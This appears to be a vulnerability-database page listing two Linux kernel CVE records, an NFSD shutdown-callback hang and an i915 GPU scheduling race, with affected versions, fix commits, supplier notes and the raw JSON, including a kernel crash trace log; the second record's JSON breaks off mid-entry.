In the Linux kernel, the following vulnerability has been resolved: NFSD: fix hang in nfsd4_shutdown_callback If nfs4_client is in courtesy state then there is no point to send the callback. This causes nfsd4_shutdown_callback to hang since cl_cb_inflight is not 0. This hang lasts about 15 minutes until TCP notifies NFSD that the connection was dropped. This patch modifies nfsd4_run_cb_work to skip the RPC call if nfs4_client is in courtesy state.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/abed68027ea3ab893…
https://git.kernel.org/stable/c/efa8a261c575f816c…
https://git.kernel.org/stable/c/38d345f612503b850…
https://git.kernel.org/stable/c/23ad7797c74cd8f7f…
https://git.kernel.org/stable/c/cedfbb92cf97a6bff…
https://git.kernel.org/stable/c/e88d2451cd42e0254…
https://git.kernel.org/stable/c/036ac2778f7b28885…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 67ef9e5fd737eab2495f2586df7e9ea30caa1b77 , < abed68027ea3ab893ac85cc46a00e2e64a324239 (git) Affected: 26540b8940a2e21582afa61a6fb8af87310bac72 , < efa8a261c575f816c7e79a87aeb3ef8a0bd6b221 (git) Affected: 66af25799940b26efd41ea6e648f75c41a48a2c2 , < 38d345f612503b850c2973e5a879f88e441b34d7 (git) Affected: 66af25799940b26efd41ea6e648f75c41a48a2c2 , < 23ad7797c74cd8f7f90617f1e59a8703e2b43908 (git) Affected: 66af25799940b26efd41ea6e648f75c41a48a2c2 , < cedfbb92cf97a6bff3d25633001d9c44442ee854 (git) Affected: 66af25799940b26efd41ea6e648f75c41a48a2c2 , < e88d2451cd42e025465d6b51fd716a47b0b3800d (git) Affected: 66af25799940b26efd41ea6e648f75c41a48a2c2 , < 036ac2778f7b28885814c6fbc07e156ad1624d03 (git)
Linux	Linux	Affected: 5.19 Unaffected: 0 , < 5.19 (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:59:38.867Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:54.894Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs4callback.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "abed68027ea3ab893ac85cc46a00e2e64a324239",
              "status": "affected",
              "version": "67ef9e5fd737eab2495f2586df7e9ea30caa1b77",
              "versionType": "git"
            },
            {
              "lessThan": "efa8a261c575f816c7e79a87aeb3ef8a0bd6b221",
              "status": "affected",
              "version": "26540b8940a2e21582afa61a6fb8af87310bac72",
              "versionType": "git"
            },
            {
              "lessThan": "38d345f612503b850c2973e5a879f88e441b34d7",
              "status": "affected",
              "version": "66af25799940b26efd41ea6e648f75c41a48a2c2",
              "versionType": "git"
            },
            {
              "lessThan": "23ad7797c74cd8f7f90617f1e59a8703e2b43908",
              "status": "affected",
              "version": "66af25799940b26efd41ea6e648f75c41a48a2c2",
              "versionType": "git"
            },
            {
              "lessThan": "cedfbb92cf97a6bff3d25633001d9c44442ee854",
              "status": "affected",
              "version": "66af25799940b26efd41ea6e648f75c41a48a2c2",
              "versionType": "git"
            },
            {
              "lessThan": "e88d2451cd42e025465d6b51fd716a47b0b3800d",
              "status": "affected",
              "version": "66af25799940b26efd41ea6e648f75c41a48a2c2",
              "versionType": "git"
            },
            {
              "lessThan": "036ac2778f7b28885814c6fbc07e156ad1624d03",
              "status": "affected",
              "version": "66af25799940b26efd41ea6e648f75c41a48a2c2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs4callback.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.19"
            },
            {
              "lessThan": "5.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.10.220",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.15.154",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "5.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "5.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "5.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "5.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "5.19",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: fix hang in nfsd4_shutdown_callback\n\nIf nfs4_client is in courtesy state then there is no point to send\nthe callback. This causes nfsd4_shutdown_callback to hang since\ncl_cb_inflight is not 0. This hang lasts about 15 minutes until TCP\nnotifies NFSD that the connection was dropped.\n\nThis patch modifies nfsd4_run_cb_work to skip the RPC call if\nnfs4_client is in courtesy state."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:06:38.771Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/abed68027ea3ab893ac85cc46a00e2e64a324239"
        },
        {
          "url": "https://git.kernel.org/stable/c/efa8a261c575f816c7e79a87aeb3ef8a0bd6b221"
        },
        {
          "url": "https://git.kernel.org/stable/c/38d345f612503b850c2973e5a879f88e441b34d7"
        },
        {
          "url": "https://git.kernel.org/stable/c/23ad7797c74cd8f7f90617f1e59a8703e2b43908"
        },
        {
          "url": "https://git.kernel.org/stable/c/cedfbb92cf97a6bff3d25633001d9c44442ee854"
        },
        {
          "url": "https://git.kernel.org/stable/c/e88d2451cd42e025465d6b51fd716a47b0b3800d"
        },
        {
          "url": "https://git.kernel.org/stable/c/036ac2778f7b28885814c6fbc07e156ad1624d03"
        }
      ],
      "title": "NFSD: fix hang in nfsd4_shutdown_callback",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21795",
    "datePublished": "2025-02-27T02:18:31.538Z",
    "dateReserved": "2024-12-29T08:45:45.767Z",
    "dateUpdated": "2026-05-12T12:03:54.894Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26937 (GCVE-0-2024-26937)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:17 – Updated: 2026-05-12 11:50

Title

drm/i915/gt: Reset queue_priority_hint on parking

Summary

In the Linux kernel, the following vulnerability has been resolved: drm/i915/gt: Reset queue_priority_hint on parking Originally, with strict in order execution, we could complete execution only when the queue was empty. Preempt-to-busy allows replacement of an active request that may complete before the preemption is processed by HW. If that happens, the request is retired from the queue, but the queue_priority_hint remains set, preventing direct submission until after the next CS interrupt is processed. This preempt-to-busy race can be triggered by the heartbeat, which will also act as the power-management barrier and upon completion allow us to idle the HW. We may process the completion of the heartbeat, and begin parking the engine before the CS event that restores the queue_priority_hint, causing us to fail the assertion that it is MIN. <3>[ 166.210729] __engine_park:283 GEM_BUG_ON(engine->sched_engine->queue_priority_hint != (-((int)(~0U >> 1)) - 1)) <0>[ 166.210781] Dumping ftrace buffer: <0>[ 166.210795] --------------------------------- ... <0>[ 167.302811] drm_fdin-1097 2..s1. 165741070us : trace_ports: 0000:00:02.0 rcs0: promote { ccid:20 1217:2 prio 0 } <0>[ 167.302861] drm_fdin-1097 2d.s2. 165741072us : execlists_submission_tasklet: 0000:00:02.0 rcs0: preempting last=1217:2, prio=0, hint=2147483646 <0>[ 167.302928] drm_fdin-1097 2d.s2. 165741072us : __i915_request_unsubmit: 0000:00:02.0 rcs0: fence 1217:2, current 0 <0>[ 167.302992] drm_fdin-1097 2d.s2. 165741073us : __i915_request_submit: 0000:00:02.0 rcs0: fence 3:4660, current 4659 <0>[ 167.303044] drm_fdin-1097 2d.s1. 165741076us : execlists_submission_tasklet: 0000:00:02.0 rcs0: context:3 schedule-in, ccid:40 <0>[ 167.303095] drm_fdin-1097 2d.s1. 165741077us : trace_ports: 0000:00:02.0 rcs0: submit { ccid:40 3:4660* prio 2147483646 } <0>[ 167.303159] kworker/-89 11..... 165741139us : i915_request_retire.part.0: 0000:00:02.0 rcs0: fence c90:2, current 2 <0>[ 167.303208] kworker/-89 11..... 165741148us : __intel_context_do_unpin: 0000:00:02.0 rcs0: context:c90 unpin <0>[ 167.303272] kworker/-89 11..... 165741159us : i915_request_retire.part.0: 0000:00:02.0 rcs0: fence 1217:2, current 2 <0>[ 167.303321] kworker/-89 11..... 165741166us : __intel_context_do_unpin: 0000:00:02.0 rcs0: context:1217 unpin <0>[ 167.303384] kworker/-89 11..... 165741170us : i915_request_retire.part.0: 0000:00:02.0 rcs0: fence 3:4660, current 4660 <0>[ 167.303434] kworker/-89 11d..1. 165741172us : __intel_context_retire: 0000:00:02.0 rcs0: context:1216 retire runtime: { total:56028ns, avg:56028ns } <0>[ 167.303484] kworker/-89 11..... 165741198us : __engine_park: 0000:00:02.0 rcs0: parked <0>[ 167.303534] <idle>-0 5d.H3. 165741207us : execlists_irq_handler: 0000:00:02.0 rcs0: semaphore yield: 00000040 <0>[ 167.303583] kworker/-89 11..... 165741397us : __intel_context_retire: 0000:00:02.0 rcs0: context:1217 retire runtime: { total:325575ns, avg:0ns } <0>[ 167.303756] kworker/-89 11..... 165741777us : __intel_context_retire: 0000:00:02.0 rcs0: context:c90 retire runtime: { total:0ns, avg:0ns } <0>[ 167.303806] kworker/-89 11..... 165742017us : __engine_park: __engine_park:283 GEM_BUG_ON(engine->sched_engine->queue_priority_hint != (-((int)(~0U >> 1)) - 1)) <0>[ 167.303811] --------------------------------- <4>[ 167.304722] ------------[ cut here ]------------ <2>[ 167.304725] kernel BUG at drivers/gpu/drm/i915/gt/intel_engine_pm.c:283! <4>[ 167.304731] invalid opcode: 0000 [#1] PREEMPT SMP NOPTI <4>[ 167.304734] CPU: 11 PID: 89 Comm: kworker/11:1 Tainted: G W 6.8.0-rc2-CI_DRM_14193-gc655e0fd2804+ #1 <4>[ 167.304736] Hardware name: Intel Corporation Rocket Lake Client Platform/RocketLake S UDIMM 6L RVP, BIOS RKLSFWI1.R00.3173.A03.2204210138 04/21/2022 <4>[ 167.304738] Workqueue: i915-unordered retire_work_handler [i915] <4>[ 16 ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/67944e6db656bf1e9…
https://git.kernel.org/stable/c/fe34587acc995e7b1…
https://git.kernel.org/stable/c/ac9b6b3e8d1237136…
https://git.kernel.org/stable/c/7eab7b021835ae422…
https://git.kernel.org/stable/c/3b031e4fcb2740988…
https://git.kernel.org/stable/c/aed034866a08bb7e6…
https://git.kernel.org/stable/c/8fd9b0ce8c26533fe…
https://git.kernel.org/stable/c/4a3859ea5240365d2…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4 , < 67944e6db656bf1e986aa2a359f866f851091f8a (git) Affected: 22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4 , < fe34587acc995e7b1d7a5d3444a0736721ec32b3 (git) Affected: 22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4 , < ac9b6b3e8d1237136c8ebf0fa1ce037dd7e2948f (git) Affected: 22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4 , < 7eab7b021835ae422c38b968d5cc60e99408fb62 (git) Affected: 22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4 , < 3b031e4fcb2740988143c303f81f69f18ce86325 (git) Affected: 22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4 , < aed034866a08bb7e6e34d50a5629a4d23fe83703 (git) Affected: 22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4 , < 8fd9b0ce8c26533fe4d5d15ea15bbf7b904b611c (git) Affected: 22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4 , < 4a3859ea5240365d21f6053ee219bb240d520895 (git)
Linux	Linux	Affected: 5.4 Unaffected: 0 , < 5.4 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26937",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-10T18:35:30.171766Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:22:50.154Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.613Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/67944e6db656bf1e986aa2a359f866f851091f8a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fe34587acc995e7b1d7a5d3444a0736721ec32b3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ac9b6b3e8d1237136c8ebf0fa1ce037dd7e2948f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7eab7b021835ae422c38b968d5cc60e99408fb62"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3b031e4fcb2740988143c303f81f69f18ce86325"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/aed034866a08bb7e6e34d50a5629a4d23fe83703"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8fd9b0ce8c26533fe4d5d15ea15bbf7b904b611c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4a3859ea5240365d21f6053ee219bb240d520895"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:45.230Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/i915/gt/intel_engine_pm.c",
            "drivers/gpu/drm/i915/gt/intel_execlists_submission.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "67944e6db656bf1e986aa2a359f866f851091f8a",
              "status": "affected",
              "version": "22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4",
              "versionType": "git"
            },
            {
              "lessThan": "fe34587acc995e7b1d7a5d3444a0736721ec32b3",
              "status": "affected",
              "version": "22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4",
              "versionType": "git"
            },
            {
              "lessThan": "ac9b6b3e8d1237136c8ebf0fa1ce037dd7e2948f",
              "status": "affected",
              "version": "22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4",
              "versionType": "git"
            },
            {
              "lessThan": "7eab7b021835ae422c38b968d5cc60e99408fb62",
              "status": "affected",
              "version": "22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4",
              "versionType": "git"
            },
            {
              "lessThan": "3b031e4fcb2740988143c303f81f69f18ce86325",
              "status": "affected",
              "version": "22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4",
              "versionType": "git"
            },
            {
              "lessThan": "aed034866a08bb7e6e34d50a5629a4d23fe83703",
              "status": "affected",
              "version": "22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4",
              "versionType": "git"
            },
            {
              "lessThan": "8fd9b0ce8c26533fe4d5d15ea15bbf7b904b611c",
              "status": "affected",
              "version": "22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4",
              "versionType": "git"
            },
            {
              "lessThan": "4a3859ea5240365d21f6053ee219bb240d520895",
              "status": "affected",
              "version": "22b7a426bbe1ebe1520f92da4cd1617d1e1b5fc4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/i915/gt/intel_engine_pm.c",
            "drivers/gpu/drm/i915/gt/intel_execlists_submission.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.4"
            },
            {
              "lessThan": "5.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/gt: Reset queue_priority_hint on parking\n\nOriginally, with strict in order execution, we could complete execution\nonly when the queue was empty. Preempt-to-busy allows replacement of an\nactive request that may complete before the preemption is processed by\nHW. If that happens, the request is retired from the queue, but the\nqueue_priority_hint remains set, preventing direct submission until\nafter the next CS interrupt is processed.\n\nThis preempt-to-busy race can be triggered by the heartbeat, which will\nalso act as the power-management barrier and upon completion allow us to\nidle the HW. We may process the completion of the heartbeat, and begin\nparking the engine before the CS event that restores the\nqueue_priority_hint, causing us to fail the assertion that it is MIN.\n\n\u003c3\u003e[  166.210729] __engine_park:283 GEM_BUG_ON(engine-\u003esched_engine-\u003equeue_priority_hint != (-((int)(~0U \u003e\u003e 1)) - 1))\n\u003c0\u003e[  166.210781] Dumping ftrace buffer:\n\u003c0\u003e[  166.210795] ---------------------------------\n...\n\u003c0\u003e[  167.302811] drm_fdin-1097      2..s1. 165741070us : trace_ports: 0000:00:02.0 rcs0: promote { ccid:20 1217:2 prio 0 }\n\u003c0\u003e[  167.302861] drm_fdin-1097      2d.s2. 165741072us : execlists_submission_tasklet: 0000:00:02.0 rcs0: preempting last=1217:2, prio=0, hint=2147483646\n\u003c0\u003e[  167.302928] drm_fdin-1097      2d.s2. 165741072us : __i915_request_unsubmit: 0000:00:02.0 rcs0: fence 1217:2, current 0\n\u003c0\u003e[  167.302992] drm_fdin-1097      2d.s2. 165741073us : __i915_request_submit: 0000:00:02.0 rcs0: fence 3:4660, current 4659\n\u003c0\u003e[  167.303044] drm_fdin-1097      2d.s1. 165741076us : execlists_submission_tasklet: 0000:00:02.0 rcs0: context:3 schedule-in, ccid:40\n\u003c0\u003e[  167.303095] drm_fdin-1097      2d.s1. 165741077us : trace_ports: 0000:00:02.0 rcs0: submit { ccid:40 3:4660* prio 2147483646 }\n\u003c0\u003e[  167.303159] kworker/-89       11..... 165741139us : i915_request_retire.part.0: 0000:00:02.0 rcs0: fence c90:2, current 2\n\u003c0\u003e[  167.303208] kworker/-89       11..... 165741148us : __intel_context_do_unpin: 0000:00:02.0 rcs0: context:c90 unpin\n\u003c0\u003e[  167.303272] kworker/-89       11..... 165741159us : i915_request_retire.part.0: 0000:00:02.0 rcs0: fence 1217:2, current 2\n\u003c0\u003e[  167.303321] kworker/-89       11..... 165741166us : __intel_context_do_unpin: 0000:00:02.0 rcs0: context:1217 unpin\n\u003c0\u003e[  167.303384] kworker/-89       11..... 165741170us : i915_request_retire.part.0: 0000:00:02.0 rcs0: fence 3:4660, current 4660\n\u003c0\u003e[  167.303434] kworker/-89       11d..1. 165741172us : __intel_context_retire: 0000:00:02.0 rcs0: context:1216 retire runtime: { total:56028ns, avg:56028ns }\n\u003c0\u003e[  167.303484] kworker/-89       11..... 165741198us : __engine_park: 0000:00:02.0 rcs0: parked\n\u003c0\u003e[  167.303534]   \u003cidle\u003e-0         5d.H3. 165741207us : execlists_irq_handler: 0000:00:02.0 rcs0: semaphore yield: 00000040\n\u003c0\u003e[  167.303583] kworker/-89       11..... 165741397us : __intel_context_retire: 0000:00:02.0 rcs0: context:1217 retire runtime: { total:325575ns, avg:0ns }\n\u003c0\u003e[  167.303756] kworker/-89       11..... 165741777us : __intel_context_retire: 0000:00:02.0 rcs0: context:c90 retire runtime: { total:0ns, avg:0ns }\n\u003c0\u003e[  167.303806] kworker/-89       11..... 165742017us : __engine_park: __engine_park:283 GEM_BUG_ON(engine-\u003esched_engine-\u003equeue_priority_hint != (-((int)(~0U \u003e\u003e 1)) - 1))\n\u003c0\u003e[  167.303811] ---------------------------------\n\u003c4\u003e[  167.304722] ------------[ cut here ]------------\n\u003c2\u003e[  167.304725] kernel BUG at drivers/gpu/drm/i915/gt/intel_engine_pm.c:283!\n\u003c4\u003e[  167.304731] invalid opcode: 0000 [#1] PREEMPT SMP NOPTI\n\u003c4\u003e[  167.304734] CPU: 11 PID: 89 Comm: kworker/11:1 Tainted: G        W          6.8.0-rc2-CI_DRM_14193-gc655e0fd2804+ #1\n\u003c4\u003e[  167.304736] Hardware name: Intel Corporation Rocket Lake Client Platform/RocketLake S UDIMM 6L RVP, BIOS RKLSFWI1.R00.3173.A03.2204210138 04/21/2022\n\u003c4\u003e[  167.304738] Workqueue: i915-unordered retire_work_handler [i915]\n\u003c4\u003e[  16\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:07:15.768Z",
